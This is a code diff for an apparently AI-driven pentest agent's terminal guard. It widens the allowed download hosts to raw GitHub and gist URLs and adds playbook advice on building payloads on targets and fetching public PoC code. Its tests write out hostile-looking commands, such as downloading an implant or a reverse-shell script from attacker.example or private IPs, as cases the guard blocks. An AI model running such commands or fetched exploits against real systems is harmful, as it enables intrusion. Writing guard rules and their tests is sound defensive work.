diff --git a/plugins/violin_guard/terminal_policy.py b/plugins/violin_guard/terminal_policy.py
index 52166fa..e42c5e6 100644
--- a/plugins/violin_guard/terminal_policy.py
+++ b/plugins/violin_guard/terminal_policy.py
@@ -28,7 +28,7 @@ _SCRIPT_INTERPRETERS = _SHELL_WRAPPERS | {
     "ruby",
 }
 _PACKAGE_OR_SOURCE_COMMANDS = frozenset(
-    {"cargo", "git", "go", "npm", "pip", "pip3", "pnpm", "uv", "yarn"}
+    {"cargo", "curl", "fetch", "git", "go", "npm", "pip", "pip3", "pnpm", "uv", "wget", "yarn"}
 )
 _LOCAL_COMMANDS = frozenset(
     {
@@ -62,11 +62,15 @@ _KNOWN_SOURCE_HOSTS = frozenset(
         "bitbucket.org",
         "crates.io",
         "files.pythonhosted.org",
+        "gist.github.com",
+        "gist.githubusercontent.com",
         "github.com",
         "gitlab.com",
         "go.dev",
+        "objects.githubusercontent.com",
         "proxy.golang.org",
         "pypi.org",
+        "raw.githubusercontent.com",
         "registry.npmjs.org",
     }
 )
diff --git a/skills/pentest/playbooks/exploitation.md b/skills/pentest/playbooks/exploitation.md
index 852f6d9..5fb4c66 100644
--- a/skills/pentest/playbooks/exploitation.md
+++ b/skills/pentest/playbooks/exploitation.md
@@ -209,6 +209,14 @@ a documented variant or ask the user for direction.
 
 ---
 
+## Payload Building & Iteration Efficiency
+
+When compiling custom binary payloads (C/C++, Rust, Go) or iteratively tuning exploit scripts:
+- **Build directly on the target via `violin_exec`** when build tools (`gcc`, `clang`, `make`, `python3`) are available on the target system.
+- **Use `violin_exec_burst` for batch execution** to submit compound build, transfer, and execution sequences in a single turn (e.g., compile + run + capture evidence). This eliminates per-command round-trip overhead and repetitive local-to-remote SCP transfers during rapid iteration.
+
+---
+
 ## Chain Exploits
 
 **Do NOT automatically chain vulnerabilities.** Each step in a multi-step exploit requires a new approval via `clarify`.
diff --git a/skills/pentest/playbooks/vuln-research.md b/skills/pentest/playbooks/vuln-research.md
index 001efda..2751642 100644
--- a/skills/pentest/playbooks/vuln-research.md
+++ b/skills/pentest/playbooks/vuln-research.md
@@ -72,6 +72,10 @@ and GitHub references. If authenticated GitHub code search is necessary, use
 availability, and result in the research log; an unavailable source is a
 capability result, not evidence that no PoC exists.
 
+> **Downloading & Inspecting Public PoC Code:**
+> - **Always use raw file URLs** (`raw.githubusercontent.com/...` or `gist.githubusercontent.com/...`) with `curl` or `wget` in the host terminal when retrieving source files into your local workspace.
+> - **Do not rely on web HTML scraping of GitHub blob pages**: HTML extractors can strip C/C++ angle-bracket include tags (e.g. `#include <stdio.h>` becoming `#include `), making manual transcription error-prone. Raw URLs deliver exact byte-for-byte source content.
+
 ### 6. Suggest Tools for Vulnerability Class
 
 Use the **clarify** function to suggest appropriate tools for the vulnerability class. Tool discovery strategies:
diff --git a/tests/guard/test_terminal_policy.py b/tests/guard/test_terminal_policy.py
index 6bd296b..9bee9e1 100644
--- a/tests/guard/test_terminal_policy.py
+++ b/tests/guard/test_terminal_policy.py
@@ -114,10 +114,19 @@ def test_raw_terminal_blocks_arbitrary_target_tools_without_a_name_list(
     assert "violin_exec" in result["message"]
 
 
-def test_local_source_retrieval_remains_available() -> None:
+@pytest.mark.parametrize(
+    "raw_command",
+    [
+        "git clone https://github.com/example/project.git",
+        "curl https://raw.githubusercontent.com/example/repo/main/poc.c",
+        "curl -sL https://gist.githubusercontent.com/example/123/raw/exploit.py",
+        "wget https://raw.githubusercontent.com/example/repo/main/Makefile",
+    ],
+)
+def test_local_source_retrieval_remains_available(raw_command: str) -> None:
     result = _pre_tool_call_hook(
         tool_name="terminal",
-        args={"command": "git clone https://github.com/example/project.git"},
+        args={"command": raw_command},
     )
 
     assert result is None
@@ -142,6 +151,23 @@ def test_compound_terminal_commands_cannot_hide_target_segments(raw_command: str
     assert "violin_exec" in result["message"]
 
 
+@pytest.mark.parametrize(
+    "raw_command",
+    [
+        "curl https://victim.example/admin",
+        "curl -o payload.bin http://10.10.10.10/shell",
+        "wget https://attacker.example/implant.elf",
+        "wget -q http://192.168.1.100:8000/rev.sh",
+    ],
+)
+def test_curl_wget_to_non_source_host_is_blocked(raw_command: str) -> None:
+    result = _pre_tool_call_hook(tool_name="terminal", args={"command": raw_command})
+
+    assert result is not None
+    assert result["action"] == "block"
+    assert "violin_exec" in result["message"]
+
+
 @pytest.mark.parametrize(
     "raw_command",
     [